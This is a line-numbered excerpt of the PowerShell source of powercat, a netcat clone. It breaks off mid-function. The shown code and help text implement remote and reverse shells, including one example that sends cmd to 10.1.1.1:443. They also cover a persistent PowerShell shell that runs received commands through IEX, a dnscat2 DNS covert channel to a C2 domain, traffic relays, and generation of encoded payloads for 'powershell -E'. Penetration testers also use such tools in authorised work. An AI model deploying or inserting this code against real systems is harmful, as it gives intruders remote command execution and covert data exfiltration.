[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null, 15 | [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host", 16 | [alias("OutputFile")][string]$of="", 17 | [alias("Disconnect")][switch]$d=$False, 18 | [alias("Repeater")][switch]$rep=$False, 19 | [alias("GeneratePayload")][switch]$g=$False, 20 | [alias("GenerateEncoded")][switch]$ge=$False, 21 | [alias("Help")][switch]$h=$False 22 | ) 23 | 24 | ############### HELP ############### 25 | $Help = " 26 | powercat - Netcat, The Powershell Version 27 | Github Repository: https://github.com/besimorhino/powercat 28 | This script attempts to implement the features of netcat in a powershell 29 | script. It also contains extra features such as built-in relays, execute 30 | powershell, and a dnscat2 client. 31 | Usage: powercat [-c or -l] [-p port] [options] 32 | -c Client Mode. Provide the IP of the system you wish to connect to. 33 | If you are using -dns, specify the DNS Server to send queries to. 34 | 35 | -l Listen Mode. Start a listener on the port specified by -p. 36 | 37 | -p Port. The port to connect to, or the port to listen on. 38 | 39 | -e Execute. Specify the name of the process to start. 40 | 41 | -ep Execute Powershell. Start a pseudo powershell session. You can 42 | declare variables and execute commands, but if you try to enter 43 | another shell (nslookup, netsh, cmd, etc.) the shell will hang. 44 | 45 | -r Relay. Used for relaying network traffic between two nodes. 46 | Client Relay Format: -r :: 47 | Listener Relay Format: -r : 48 | DNSCat2 Relay Format: -r dns::: 49 | 50 | -u UDP Mode. Send traffic over UDP. Because it's UDP, the client 51 | must send data before the server can respond. 52 | 53 | -dns DNS Mode. Send traffic over the dnscat2 dns covert channel. 54 | Specify the dns server to -c, the dns port to -p, and specify the 55 | domain to this option, -dns. This is only a client. 56 | Get the server here: https://github.com/iagox86/dnscat2 57 | 58 | -dnsft DNS Failure Threshold. This is how many bad packets the client can 59 | recieve before exiting. Set to zero when receiving files, and set high 60 | for more stability over the internet. 61 | 62 | -t Timeout. The number of seconds to wait before giving up on listening or 63 | connecting. Default: 60 64 | 65 | -i Input. Provide data to be sent down the pipe as soon as a connection is 66 | established. Used for moving files. You can provide the path to a file, 67 | a byte array object, or a string. You can also pipe any of those into 68 | powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80 69 | 70 | -o Output. Specify how powercat should return information to the console. 71 | Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'. 72 | 73 | -of Output File. Specify the path to a file to write output to. 74 | 75 | -d Disconnect. powercat will disconnect after the connection is established 76 | and the input from -i is sent. Used for scanning. 77 | 78 | -rep Repeater. powercat will continually restart after it is disconnected. 79 | Used for setting up a persistent server. 80 | 81 | -g Generate Payload. Returns a script as a string which will execute the 82 | powercat with the options you have specified. -i, -d, and -rep will not 83 | be incorporated. 84 | 85 | -ge Generate Encoded Payload. Does the same as -g, but returns a string which 86 | can be executed in this way: powershell -E 87 | -h Print this help message. 88 | Examples: 89 | Listen on port 8000 and print the output to the console. 90 | powercat -l -p 8000 91 | 92 | Connect to 10.1.1.1 port 443, send a shell, and enable verbosity. 93 | powercat -c 10.1.1.1 -p 443 -e cmd -v 94 | 95 | Connect to the dnscat2 server on c2.example.com, and send dns queries 96 | to the dns server on 10.1.1.1 port 53. 97 | powercat -c 10.1.1.1 -p 53 -dns c2.example.com 98 | 99 | Send a file to 10.1.1.15 port 8000. 100 | powercat -c 10.1.1.15 -p 8000 -i C:\inputfile 101 | 102 | Write the data sent to the local listener on port 4444 to C:\outfile 103 | powercat -l -p 4444 -of C:\outfile 104 | 105 | Listen on port 8000 and repeatedly server a powershell shell. 106 | powercat -l -p 8000 -ep -rep 107 | 108 | Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp. 109 | powercat -l -p 8000 -r tcp:10.1.1.1:9000 110 | 111 | Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com, 112 | sending queries to 10.1.1.1 port 53. 113 | powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 114 | " 115 | if($h){return $Help} 116 | ############### HELP ############### 117 | 118 | ############### VALIDATE ARGS ############### 119 | $global:Verbose = $Verbose 120 | if($of -ne ''){$o = 'Bytes'} 121 | if($dns -eq "") 122 | { 123 | if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."} 124 | if($p -eq ""){return "Please provide a port number to -p."} 125 | } 126 | if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"} 127 | if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."} 128 | if($l) 129 | { 130 | $Failure = $False 131 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}} 132 | if($Failure){break} 133 | } 134 | if($r -ne "") 135 | { 136 | if($r.split(":").Count -eq 2) 137 | { 138 | $Failure = $False 139 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}} 140 | if($Failure){break} 141 | } 142 | } 143 | ############### VALIDATE ARGS ############### 144 | 145 | ############### UDP FUNCTIONS ############### 146 | function Setup_UDP 147 | { 148 | param($FuncSetupVars) 149 | if($global:Verbose){$Verbose = $True} 150 | $c,$l,$p,$t = $FuncSetupVars 151 | $FuncVars = @{} 152 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 153 | if($l) 154 | { 155 | $SocketDestinationBuffer = New-Object System.Byte[] 65536 156 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p 157 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p 158 | $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation 159 | Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]") 160 | $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null) 161 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 162 | while($True) 163 | { 164 | if($Host.UI.RawUI.KeyAvailable) 165 | { 166 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode)) 167 | { 168 | Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..." 169 | $FuncVars["Socket"].Close() 170 | $Stopwatch.Stop() 171 | break 172 | } 173 | } 174 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 175 | { 176 | $FuncVars["Socket"].Close() 177 | $Stopwatch.Stop() 178 | Write-Verbose "Timeout!" ; break 179 | } 180 | if($ConnectHandle.IsCompleted) 181 | { 182 | $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo) 183 | Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")") 184 | if($SocketBytesRead -gt 0){break} 185 | else{break} 186 | } 187 | } 188 | $Stopwatch.Stop() 189 | $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)] 190 | } 191 | else 192 | { 193 | if(!$c.Contains(".")) 194 | { 195 | $IPList = @() 196 | [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString} 197 | Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0]) 198 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p 199 | } 200 | else 201 | { 202 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p 203 | } 204 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient 205 | $FuncVars["Socket"].Connect($c,$p) 206 | Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...") 207 | Write-Verbose ("UDP: Make sure to send some data so the server can notice you!") 208 | } 209 | $FuncVars["BufferSize"] = 65536 210 | $FuncVars["EndPoint"] = $EndPoint 211 | $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"] 212 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 213 | return $FuncVars 214 | } 215 | function ReadData_UDP 216 | { 217 | param($FuncVars) 218 | $Data = $null 219 | if($FuncVars["StreamReadOperation"].IsCompleted) 220 | { 221 | $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"]) 222 | if($StreamBytesRead -eq 0){break} 223 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 224 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 225 | } 226 | return $Data,$FuncVars 227 | } 228 | function WriteData_UDP 229 | { 230 | param($Data,$FuncVars) 231 | $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null 232 | return $FuncVars 233 | } 234 | function Close_UDP 235 | { 236 | param($FuncVars) 237 | $FuncVars["Socket"].Close() 238 | } 239 | ############### UDP FUNCTIONS ############### 240 | 241 | ############### DNS FUNCTIONS ############### 242 | function Setup_DNS 243 | { 244 | param($FuncSetupVars) 245 | if($global:Verbose){$Verbose = $True} 246 | function ConvertTo-HexArray 247 | { 248 | param($String) 249 | $Hex = @() 250 | $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_} 251 | return $Hex 252 | } 253 | 254 | function SendPacket 255 | { 256 | param($Packet,$DNSServer,$DNSPort) 257 | $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit") 258 | $result = ($Command | nslookup 2>&1 | Out-String) 259 | if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)} 260 | else{return 1} 261 | } 262 | 263 | function Create_SYN 264 | { 265 | param($SessionId,$SeqNum,$Tag,$Domain) 266 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain) 267 | } 268 | 269 | function Create_FIN 270 | { 271 | param($SessionId,$Tag,$Domain) 272 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain) 273 | } 274 | 275 | function Create_MSG 276 | { 277 | param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain) 278 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain) 279 | } 280 | 281 | function DecodePacket 282 | { 283 | param($Packet) 284 | 285 | if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1} 286 | $AcknowledgementNumber = ($Packet[10..13] -join "") 287 | $SeqNum = ($Packet[14..17] -join "") 288 | [byte[]]$ReturningData = @() 289 | 290 | if($Packet.Length -gt 18) 291 | { 292 | $PacketElim = $Packet.Substring(18) 293 | while($PacketElim.Length -gt 0) 294 | { 295 | $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16) 296 | $PacketElim = $PacketElim.Substring(2) 297 | } 298 | } 299 | 300 | return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum 301 | } 302 | 303 | function AcknowledgeData 304 | { 305 | param($ReturningData,$AcknowledgementNumber) 306 | $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535)) 307 | if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)} 308 | return $Hex 309 | } 310 | $FuncVars = @{} 311 | $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars 312 | if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"} 313 | $FuncVars["Tag"] = "" 314 | $FuncVars["Domain"] = ("." + $FuncVars["Domain"]) 315 | 316 | $FuncVars["Create_SYN"] = ${function:Create_SYN} 317 | $FuncVars["Create_MSG"] = ${function:Create_MSG} 318 | $FuncVars["Create_FIN"] = ${function:Create_FIN} 319 | $FuncVars["DecodePacket"] = ${function:DecodePacket} 320 | $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray} 321 | $FuncVars["AckData"] = ${function:AcknowledgeData} 322 | $FuncVars["SendPacket"] = ${function:SendPacket} 323 | $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 324 | $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 325 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 326 | $FuncVars["Failures"] = 0 327 | 328 | $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"])) 329 | $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"])) 330 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket)) 331 | if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."} 332 | $ReturningData = $DecodedPacket[1] 333 | if($ReturningData -ne ""){$FuncVars["InputData"] = ""} 334 | $FuncVars["AckNum"] = $DecodedPacket[2] 335 | $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length) 336 | if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."} 337 | return $FuncVars 338 | } 339 | function ReadData_DNS 340 | { 341 | param($FuncVars) 342 | if($global:Verbose){$Verbose = $True} 343 | 344 | $PacketsData = @() 345 | $PacketData = "" 346 | 347 | if($FuncVars["InputData"] -ne $null) 348 | { 349 | $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"])) 350 | $SectionCount = 0 351 | $PacketCount = 0 352 | foreach($Char in $Hex) 353 | { 354 | if($SectionCount -ge 30) 355 | { 356 | $SectionCount = 0 357 | $PacketData += "." 358 | } 359 | if($PacketCount -ge ($FuncVars["MaxMSGDataSize"])) 360 | { 361 | $PacketsData += $PacketData.TrimEnd(".") 362 | $PacketCount = 0 363 | $SectionCount = 0 364 | $PacketData = "" 365 | } 366 | $PacketData += $Char 367 | $SectionCount += 2 368 | $PacketCount += 2 369 | } 370 | $PacketData = $PacketData.TrimEnd(".") 371 | $PacketsData += $PacketData 372 | $FuncVars["InputData"] = "" 373 | } 374 | else 375 | { 376 | $PacketsData = @("") 377 | } 378 | 379 | [byte[]]$ReturningData = @() 380 | foreach($PacketData in $PacketsData) 381 | { 382 | try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])} 383 | catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue } 384 | try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))} 385 | catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue } 386 | try 387 | { 388 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet)) 389 | if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue } 390 | $FuncVars["AckNum"] = $DecodedPacket[2] 391 | $FuncVars["SeqNum"] = $DecodedPacket[3] 392 | $ReturningData += $DecodedPacket[1] 393 | } 394 | catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 395 | if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 396 | } 397 | 398 | if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break} 399 | 400 | if($ReturningData -ne @()) 401 | { 402 | $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"])) 403 | } 404 | return $ReturningData,$FuncVars 405 | } 406 | function WriteData_DNS 407 | { 408 | param($Data,$FuncVars) 409 | $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data) 410 | return $FuncVars 411 | } 412 | function Close_DNS 413 | { 414 | param($FuncVars) 415 | $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"]) 416 | Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null 417 | } 418 | ############### DNS FUNCTIONS ############### 419 | 420 | ########## TCP FUNCTIONS ########## 421 | function Setup_TCP 422 | { 423 | param($FuncSetupVars) 424 | $c,$l,$p,$t = $FuncSetupVars 425 | if($global:Verbose){$Verbose = $True} 426 | $FuncVars = @{} 427 | if(!$l) 428 | { 429 | $FuncVars["l"] = $False 430 | $Socket = New-Object System.Net.Sockets.TcpClient 431 | Write-Verbose "Connecting..." 432 | $Handle = $Socket.BeginConnect($c,$p,$null,$null) 433 | } 434 | else 435 | { 436 | $FuncVars["l"] = $True 437 | Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")") 438 | $Socket = New-Object System.Net.Sockets.TcpListener $p 439 | $Socket.Start() 440 | $Handle = $Socket.BeginAcceptTcpClient($null, $null) 441 | } 442 | 443 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 444 | while($True) 445 | { 446 | if($Host.UI.RawUI.KeyAvailable) 447 | { 448 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode)) 449 | { 450 | Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..." 451 | if($FuncVars["l"]){$Socket.Stop()} 452 | else{$Socket.Close()} 453 | $Stopwatch.Stop() 454 | break 455 | } 456 | } 457 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 458 | { 459 | if(!$l){$Socket.Close()} 460 | else{$Socket.Stop()} 461 | $Stopwatch.Stop() 462 | Write-Verbose "Timeout!" ; break 463 | break 464 | } 465 | if($Handle.IsCompleted) 466 | { 467 | if(!$l) 468 | { 469 | try 470 | { 471 | $Socket.EndConnect($Handle) 472 | $Stream = $Socket.GetStream() 473 | $BufferSize = $Socket.ReceiveBufferSize 474 | Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!") 475 | } 476 | catch{$Socket.Close(); $Stopwatch.Stop(); break} 477 | } 478 | else 479 | { 480 | $Client = $Socket.EndAcceptTcpClient($Handle) 481 | $Stream = $Client.GetStream() 482 | $BufferSize = $Client.ReceiveBufferSize 483 | Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")") 484 | } 485 | break 486 | } 487 | } 488 | $Stopwatch.Stop() 489 | if($Socket -eq $null){break} 490 | $FuncVars["Stream"] = $Stream 491 | $FuncVars["Socket"] = $Socket 492 | $FuncVars["BufferSize"] = $BufferSize 493 | $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"]) 494 | $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 495 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 496 | $FuncVars["StreamBytesRead"] = 1 497 | return $FuncVars 498 | } 499 | function ReadData_TCP 500 | { 501 | param($FuncVars) 502 | $Data = $null 503 | if($FuncVars["StreamBytesRead"] -eq 0){break} 504 | if($FuncVars["StreamReadOperation"].IsCompleted) 505 | { 506 | $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"]) 507 | if($StreamBytesRead -eq 0){break} 508 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 509 | $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 510 | } 511 | return $Data,$FuncVars 512 | } 513 | function WriteData_TCP 514 | { 515 | param($Data,$FuncVars) 516 | $FuncVars["Stream"].Write($Data, 0, $Data.Length) 517 | return $FuncVars 518 | } 519 | function Close_TCP 520 | { 521 | param($FuncVars) 522 | try{$FuncVars["Stream"].Close()} 523 | catch{} 524 | if($FuncVars["l"]){$FuncVars["Socket"].Stop()} 525 | else{$FuncVars["Socket"].Close()} 526 | } 527 | ########## TCP FUNCTIONS ########## 528 | 529 | ########## CMD FUNCTIONS ########## 530 | function Setup_CMD 531 | { 532 | param($FuncSetupVars) 533 | if($global:Verbose){$Verbose = $True} 534 | $FuncVars = @{} 535 | $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo 536 | $ProcessStartInfo.FileName = $FuncSetupVars[0] 537 | $ProcessStartInfo.UseShellExecute = $False 538 | $ProcessStartInfo.RedirectStandardInput = $True 539 | $ProcessStartInfo.RedirectStandardOutput = $True 540 | $ProcessStartInfo.RedirectStandardError = $True 541 | $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo) 542 | Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...") 543 | $FuncVars["Process"].Start() | Out-Null 544 | $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536 545 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 546 | $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536 547 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 548 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 549 | return $FuncVars 550 | } 551 | function ReadData_CMD 552 | { 553 | param($FuncVars) 554 | [byte[]]$Data = @() 555 | if($FuncVars["StdOutReadOperation"].IsCompleted) 556 | { 557 | $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"]) 558 | if($StdOutBytesRead -eq 0){break} 559 | $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)] 560 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 561 | } 562 | if($FuncVars["StdErrReadOperation"].IsCompleted) 563 | { 564 | $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"]) 565 | if($StdErrBytesRead -eq 0){break} 566 | $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)] 567 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 568 | } 569 | return $Data,$FuncVars 570 | } 571 | function WriteData_CMD 572 | { 573 | param($Data,$FuncVars) 574 | $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n")) 575 | return $FuncVars 576 | } 577 | function Close_CMD 578 | { 579 | param($FuncVars) 580 | $FuncVars["Process"] | Stop-Process 581 | } 582 | ########## CMD FUNCTIONS ########## 583 | 584 | ########## POWERSHELL FUNCTIONS ########## 585 | function Main_Powershell 586 | { 587 | param($Stream1SetupVars) 588 | try 589 | { 590 | $encoding = New-Object System.Text.AsciiEncoding 591 | [byte[]]$InputToWrite = @() 592 | if($i -ne $null) 593 | { 594 | Write-Verbose "Input from -i detected..." 595 | if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } 596 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 597 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 598 | else{Write-Host "Unrecognised input type." ; return} 599 | } 600 | 601 | Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)" 602 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 603 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 604 | 605 | Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)" 606 | try 607 | { 608 | $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> ")) 609 | $Prompt = ("PS " + (pwd).Path + "> ") 610 | $CommandToExecute = "" 611 | $Data = $null 612 | } 613 | catch 614 | { 615 | Write-Verbose "Stream 2 Setup Failure" ; return 616 | } 617 | 618 | if($InputToWrite -ne @()) 619 | { 620 | Write-Verbose "Writing input to Stream 1..." 621 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 622 | catch{Write-Host "Failed to write input to Stream 1" ; return} 623 | } 624 | 625 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 626 | 627 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 628 | while($True) 629 | { 630 | try 631 | { 632 | ##### Stream2 Read ##### 633 | $Prompt = $null 634 | $ReturnedData = $null 635 | if($CommandToExecute -ne "") 636 | { 637 | try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))} 638 | catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))} 639 | $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) 640 | } 641 | $Data += $IntroPrompt 642 | $IntroPrompt = $null 643 | $Data += $ReturnedData 644 | $Data += $Prompt 645 | $CommandToExecute = "" 646 | ##### Stream2 Read ##### 647 | 648 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 649 | $Data = $null 650 | } 651 | catch 652 | { 653 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 654 | } 655 | 656 | try 657 | { 658 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 659 | if($Data.Length -eq 0){Start-Sleep -Milliseconds 100} 660 | if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)} 661 | $Data = $null 662 | } 663 | catch 664 | { 665 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 666 | } 667 | } 668 | } 669 | finally 670 | { 671 | try 672 | { 673 | Write-Verbose "Closing Stream 1..." 674 | Stream1_Close $Stream1Vars 675 | } 676 | catch 677 | { 678 | Write-Verbose "Failed to close Stream 1" 679 | } 680 | } 681 | } 682 | ########## POWERSHELL FUNCTIONS ########## 683 | 684 | ########## CONSOLE FUNCTIONS ########## 685 | function Setup_Console 686 | { 687 | param($FuncSetupVars) 688 | $FuncVars = @{} 689 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 690 | $FuncVars["Output"] = $FuncSetupVars[0] 691 | $FuncVars["OutputBytes"] = [byte[]]@() 692 | $FuncVars["OutputString"] = "" 693 | return $FuncVars 694 | } 695 | function ReadData_Console 696 | { 697 | param($FuncVars) 698 | $Data = $null 699 | if($Host.UI.RawUI.KeyAvailable) 700 | { 701 | $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n") 702 | } 703 | return $Data,$FuncVars 704 | } 705 | function WriteData_Console 706 | { 707 | param($Data,$FuncVars) 708 | switch($FuncVars["Output"]) 709 | { 710 | "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)} 711 | "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)} 712 | "Bytes" {$FuncVars["OutputBytes"] += $Data} 713 | } 714 | return $FuncVars 715 | } 716 | function Close_Console 717 | { 718 | param($FuncVars) 719 | if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]} 720 | elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]} 721 | return 722 | } 723 | ########## CONSOLE FUNCTIONS ########## 724 | 725 | ########## MAIN FUNCTION ########## 726 | function Main 727 | { 728 | param($Stream1SetupVars,$Stream2SetupVars) 729 | try 730 | { 731 | [byte[]]$InputToWrite = @() 732 | $Encoding = New-Object System.Text.AsciiEncoding 733 | if($i -ne $null) 734 | { 735 | Write-Verbose "Input from -i detected..." 736 | if(Test-Path $i){ [byte[]]$InputToWrite = 